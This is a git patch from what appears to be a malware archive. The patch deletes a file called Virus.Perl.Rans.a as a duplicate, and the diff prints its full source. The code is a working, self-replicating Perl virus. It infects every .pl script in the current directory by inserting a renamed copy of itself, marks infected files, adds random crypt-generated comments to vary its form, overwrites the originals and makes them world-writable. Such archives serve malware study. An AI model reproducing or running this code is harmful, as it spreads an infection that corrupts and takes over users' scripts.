From d90860b546aa189cf1d054901cb5ff115ad3a0b7 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:38:01 -0600
Subject: [PATCH] Delete Virus.Perl.Rans.a

dup
---
 Perl/Virus.Perl.Rans.a | 41 -----------------------------------------
 1 file changed, 41 deletions(-)
 delete mode 100644 Perl/Virus.Perl.Rans.a

diff --git a/Perl/Virus.Perl.Rans.a b/Perl/Virus.Perl.Rans.a
deleted file mode 100644
index 019e8777..00000000
--- a/Perl/Virus.Perl.Rans.a
+++ /dev/null
@@ -1,41 +0,0 @@
-
-qwerty();#
-
-sub qwerty {
-
-a: while (<*.pl>)
-    {
-        my $oF = "qwerty";
-        my $tN = "$ENV{\"HOME\"}/tmp/".crypt($_, $_), $oN = "./$_", $nF = crypt($_, $oF);   
-            
-        open (WE, "<$0");                                       
-        open (IFILE, "<$_");
-        open (TEMP, ">$tN");                                    
-        
-            while (<IFILE>) 
-            {
-                chomp;
-                if (/\#!Sran/) { unlink ($tN); next a }         
-                elsif (!/#!\//) { print TEMP "$_\n" }
-                else { print TEMP "$_ #!Sran\n$nF();\n" }               
-            }
-            
-            while (<WE>)
-            {
-                $st = "";
-                
-                s/#[0-9].*/$st/;
-                if (/sub $oF/ || /my \$oF =/) { $cW = 1; s/$oF/$nF/}
-                next if (/#!\/usr\/bin\/perl/ || /qwerty();#/ || !$cW);
-                if (int(rand(2))) { $st=" #".crypt($_, rand(256)) }
-                else {$st = ""}
-                
-                chomp;
-                print TEMP "$_$st\n";
-            }
-        
-        unlink ($oN);
-        rename ($tN, $oN);
-        chmod (0777, $oN);
-    }
-}